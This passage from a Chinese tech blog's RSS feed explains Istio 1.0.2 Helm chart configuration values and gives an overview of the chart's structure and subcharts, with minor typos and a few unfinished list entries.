&lt;/table&gt;

&lt;p&gt;设置 &lt;a href=&#34;https://istio.io/docs/reference/commands/pilot-discovery/#pilot-discovery-discovery&#34; target=&#34;_blank&#34;&gt;Pilot discovery 的 &lt;code&gt;-a&lt;/code&gt; 参数&lt;/a&gt;。这一参数取值为监控的命名空间名称，目前会选用 Istio 所在的命名空间。&lt;/p&gt;

&lt;h2 id=&#34;configvalidation&#34;&gt;configValidation&lt;/h2&gt;

&lt;p&gt;缺省值 &lt;code&gt;ture&lt;/code&gt;。用于配置是否开启服务端的配置验证。该选项开启之后，会生成一个 ValidatingWebhookConfiguration 对象，并被包含到 Galley 的配置之中，从而启用校验功能。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-23&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/validatingwehookconfiguration.yaml.tpl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ValidatingWebhookConfiguration: &lt;code&gt;istio-galley&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;meshexpansion&#34;&gt;meshExpansion&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;false&lt;/code&gt;。如果启用，Pilot 和 Citadel 会在 Ingress Gateway 上公开服务。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-24&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/gateway.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gateway：&lt;code&gt;meshexpansion-gateway&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用于公开服务的 Gateway&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/meshexpansion.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;VirtualService：&lt;code&gt;meshexpansion-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pilot 的 VirtualService&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/meshexpansion.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;VirtualService：&lt;code&gt;meshexpansion-citadel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Citadel 的  的 VirtualService&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;meshexpansionilb&#34;&gt;meshExpansionILB&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;false&lt;/code&gt;。Pilot 和 Citadel 的 mTLS 和明文端口会在内部网关进行公开。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-25&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/gateway.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gateway：&lt;code&gt;meshexpansion-ilb-gateway&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用于公开服务的 Gateway&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/meshexpansion.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;VirtualService：&lt;code&gt;ilb-meshexpansion-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pilot 的 VirtualService&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/meshexpansion.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;VirtualService：&lt;code&gt;meshexpansion-ilb-citadel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Citadel 的  的 VirtualService&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;defaultresources&#34;&gt;defaultResources&lt;/h2&gt;

&lt;p&gt;缺省值：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;requests:
  cpu: 10m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为 Istio 组件提供一个最小的资源定义，以便 HPA 工作方便，每个组件可以定义自己的资源定义进行覆盖。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-26&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-galley&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/gateways/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有网关创建的 Deployment&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;grafana&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/kiali/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;kiali&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy&lt;/code&gt;/&lt;code&gt;istio-telemetry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-proxy&lt;/code&gt;/&lt;code&gt;mixer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/statsdtoprom.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-statsd-prom-bridge&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-proxy&lt;/code&gt;/&lt;code&gt;discovery&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/prometheus/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-citadel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/servicegraph/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;servicegraph&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/sidecarInjectorWebhook/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deploymet: &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/tracing/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-tracing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;hyperkube&#34;&gt;hyperkube&lt;/h2&gt;

&lt;p&gt;缺省值：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;hub: quay.io/coreos
tag: v1.7.6_coreos.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用于创建 CRD 的容器镜像。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-27&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/create-custom-resources-job.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job：&lt;code&gt;istio-grafana-post-install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/cleanup-secrets.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job：&lt;code&gt;istio-cleanup-secrets&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/create-custom-resources-job.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job：&lt;code&gt;istio-security-post-install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;priorityclassname&#34;&gt;priorityClassName&lt;/h2&gt;

&lt;p&gt;Kubernetes 1.11.0 以上有两个 &lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/#priorityclass&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;PriorityClass&lt;/code&gt;&lt;/a&gt;，用这种方式创建 Istio 组件 Pod，可以防止因较低的优先级被杀掉。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-28&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/certmanager/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;certmanager&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-galley&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/gateways/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有网管创建的 Deployment&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;grafana&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/kiali/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;kiali&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy/istio-telemetry&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/prometheus/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-citadel&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/servicegraph/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;servicegraph&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/sidecarInjectorWebhook/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/tracing/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-tracing&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;crds&#34;&gt;crds&lt;/h2&gt;

&lt;p&gt;缺省值 &lt;code&gt;true&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;如果使用的是 Helm 2.10 以上的 &lt;code&gt;helm install&lt;/code&gt;，或者是 &lt;code&gt;helm template&lt;/code&gt; 方式的安装，应该设置为 &lt;code&gt;true&lt;/code&gt;；如果 Helm 版本小于 2.9，必须设置为 &lt;code&gt;false&lt;/code&gt;，并手工执行 &lt;code&gt;kubectl apply -f install/kubernetes/helm/istio/templates/crds.yaml&lt;/code&gt; 来首先创建 CRD。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-29&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/crds.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;随这一开关确定是否创建所有 CRD&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;本节中很多涉及到下层 Chart 的内容并未深入，会在子 Chart 的相关章节中尝试进一步说明。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - 概述</title>
      <link>/post/istio-helm-deep-dive-overview/</link>
      <pubDate>Sat, 06 Oct 2018 12:55:00 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-overview/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;Helm 是目前 Istio 官方推荐的安装方式，除去安装之外，还可以利用对输入值的一些调整，完成对 Istio 的部分配置工作。官方提供了 &lt;a href=&#34;https://preliminary.istio.io/zh/docs/setup/kubernetes/helm-install/&#34; target=&#34;_blank&#34;&gt;Istio 的 Helm 部署方式&lt;/a&gt;，侧重于快速启动，而这一组文章将会采用由上至下的顺序，基于 Istio 1.0.2 版本的 Helm Chart 做一系列的讲解。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Istio 的 Helm Chart 分为两个大分支：istio 和 istio-remote，后者为多集群部署方式，这里暂不涉及，后面的内容围绕 istio 展开。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;总体结构&#34;&gt;总体结构&lt;/h2&gt;

&lt;p&gt;Istio Chart 是一个总分结构，其分级结构和设计结构是一致的，这里做一个简单的说明。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/istio-overview.png&#34; alt=&#34;arch&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;chart-yaml&#34;&gt;Chart.yaml&lt;/h3&gt;

&lt;p&gt;Chart 的基础信息，这里看到 1.0.2 的 Release 中，&lt;code&gt;version&lt;/code&gt; 的值还是 1.0.1；要求的 Tiller 版本要大于等于 &lt;code&gt;2.7.2-0&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;values-yaml&#34;&gt;values-*.yaml&lt;/h3&gt;

&lt;p&gt;这里提供了一组 values 文件，提供 Istio 在各种场景下的关键配置范本。对 Istio 的定制可以从 &lt;code&gt;values.yaml&lt;/code&gt; 的改写开始，完成后可以使用 &lt;code&gt;helm template&lt;/code&gt; 命令来生成最终的部署文件供 &lt;code&gt;kubectl&lt;/code&gt; 使用。&lt;code&gt;values.yaml&lt;/code&gt; 文件的一些细节可以参考&lt;a href=&#34;https://docs.helm.sh/chart_best_practices/values/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;values-istio-auth-galley.yaml&lt;/strong&gt;：启用控制面 mTLS；缺省打开网格内的 mTLS；启用 Galley。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-auth-multicluster.yaml&lt;/strong&gt;：多集群配置；启用控制面 mTLS；缺省打开网格内的 mTLS；禁用自签署证书。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-auth.yaml&lt;/strong&gt;：启用控制面 mTLS；缺省打开网格内的 mTLS。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-demo-auth.yaml&lt;/strong&gt;：启用控制面 mTLS；缺省打开网格内的 mTLS；激活 Grafana、Jaeger、ServiceGraph 以及 Galley；允许自动注入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-demo.yaml&lt;/strong&gt;：激活 Grafana、Jaeger、ServiceGraph 以及 Galley；允许自动注入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-galley.yaml&lt;/strong&gt;：启用 Galley 和 Prometheus。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-gateways.yaml&lt;/strong&gt;：这是一个样例，可以用这种形式定义新的 Gateway。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-multicluster.yaml&lt;/strong&gt;：多集群配置，禁用自签发证书。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-one-namespace-auth.yaml&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio-one-namespace.yaml&lt;/strong&gt;：启用控制面 mTLS；缺省打开网格内的 mTLS；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values-istio.yaml&lt;/strong&gt;：oneNameSpace 设置为 True，让 Pilot 只监控单一的 Namespace，目前的情况是只监控 Istio 的部署命名空间。此处的 istiotesting 似乎是个 Issue。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;values.yaml&lt;/strong&gt;：罗列了（可能）所有变量，也是我们做定制的基础。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;requiremtens-yaml&#34;&gt;requiremtens.yaml&lt;/h3&gt;

&lt;p&gt;这个文件用于管理 Chart 的&lt;a href=&#34;https://docs.helm.sh/developing_charts/#chart-dependencies&#34; target=&#34;_blank&#34;&gt;依赖关系&lt;/a&gt;，Istio 的各个组件就是在这里定义的，并且可以通过变量进行控制。&lt;/p&gt;

&lt;h3 id=&#34;templates&#34;&gt;templates&lt;/h3&gt;

&lt;h4 id=&#34;affinity-tpl&#34;&gt;_affinity.tpl&lt;/h4&gt;

&lt;p&gt;该文件会生成一组&lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#node-affinity-beta-feature&#34; target=&#34;_blank&#34;&gt;节点亲和/互斥&lt;/a&gt;元素，供各个组件在渲染 YAML 时候使用。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;nodeAffinityRequiredDuringScheduling&lt;/code&gt;：仅在本文件中使用。这里规定了对节点的要求，&lt;code&gt;values.yaml&lt;/code&gt; 中的 &lt;code&gt;global.arch&lt;/code&gt; 变量中列出了一系列的主机架构，只有出现在这一列表中，且对应值大于 &lt;code&gt;0&lt;/code&gt; 的节点，才会将 Pod 调度到该节点上。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;nodeAffinityPreferredDuringScheduling&lt;/code&gt;：仅在本文件中使用。这里规定了调度优先级，为各种架构的节点分配了权重。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;nodeaffinity&lt;/code&gt;：包含了上面谈到的两个模板，合成为一个节点亲和性的代码段，供外部文件使用，影响范围包括：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件名&lt;/th&gt;
&lt;th&gt;涉及对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-galley&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/gateways/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有 gateways Chart 生成的 Deployment。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;grafana&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/prometheus/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-citadel&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/servicegraph/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;servicegraph&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/sidecarInjectorWebhook/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/tracing/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-tracing&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;helpers-tpl&#34;&gt;_helpers.tpl&lt;/h4&gt;

&lt;p&gt;这个文件并不特别，创建了四个变量，供 Helm 使用。&lt;/p&gt;

&lt;h4 id=&#34;sidecar-injector-configmap-yaml&#34;&gt;sidecar-injector-configmap.yaml&lt;/h4&gt;

&lt;p&gt;这里定义了 ConfigMap 对象 &lt;code&gt;istio-sidecar-injector&lt;/code&gt;，为 &lt;code&gt;sidecarInjectorWebhook&lt;/code&gt; 提供配置支持，在全局变量 &lt;code&gt;omitSidecarInjectorConfigMap&lt;/code&gt; 为 &lt;code&gt;False&lt;/code&gt; 的时候进行渲染，这一参数会用在生成新的 Gateway 之类的调整功能上，防止创建多余的 ConfigMap。这里可以看到使用各种变量拼装而成的注入模板，用于为被注入 Pod 提供初始化和 Sidecar 容器的支持。其中涉及的变量会在后文中进行讲解。&lt;/p&gt;

&lt;h4 id=&#34;configmap-yaml&#34;&gt;configmap.yaml&lt;/h4&gt;

&lt;p&gt;这个文件定义了 ConfigMap 对象 &lt;code&gt;istio&lt;/code&gt;，该对象会随 Pilot 一同创建，也就是说它是 Pilot 的依赖项。其中所涉变量也同样会在其他文章中进行讲解。&lt;/p&gt;

&lt;h3 id=&#34;charts&#34;&gt;charts&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;certmanager&lt;/code&gt;：一个基于 &lt;a href=&#34;https://github.com/jetstack/cert-manager&#34; target=&#34;_blank&#34;&gt;Jetstack Cert-Manager 项目&lt;/a&gt;的 ACME 证书客户端，用于自动进行证书的申请、获取以及分发&lt;/li&gt;
&lt;li&gt;&lt;code&gt;galley&lt;/code&gt;：Istio 利用 &lt;a href=&#34;https://istio.io/zh/docs/reference/commands/galley/&#34; target=&#34;_blank&#34;&gt;Galley&lt;/a&gt; 进行配置管理工作。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateways&lt;/code&gt;：使用 Gateways 一节的配置，可以实现多个 Gateway Controller&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grafana&lt;/code&gt;：&lt;a href=&#34;https://grafana.com&#34; target=&#34;_blank&#34;&gt;图形化的 Istio Dashboard&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ingress&lt;/code&gt;：一个遗留设计，缺省关闭，v1alpha3 之后建议弃用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kiali&lt;/code&gt;：带有分布式跟踪、配置校验等多项功能的 Dashboard。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mixer&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pilot&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;prometheus&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;security&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;servicegraph&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sidecarInjectorWebhook&lt;/code&gt;：自动注入 Webhook 的相关配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tracing&lt;/code&gt;：&lt;a href=&#34;https://github.com/jaegertracing&#34; target=&#34;_blank&#34;&gt;Jaeger&lt;/a&gt; 的分布式跟踪相关配置。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;本篇主要讲述的是整体结构以及顶层对象的一些内容。后面将会分几篇文章讲讲各种变量的应用以及各个 Chart 的配置。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>开发运维尽开颜：Buildpacks 进入 CNCF 沙箱</title>
      <link>/post/buildpacks-is-now-a-cncf-project/</link>
      <pubDate>Thu, 04 Oct 2018 23:17:02 +0800</pubDate>
      <guid>/post/buildpacks-is-now-a-cncf-project/</guid>
      <description>

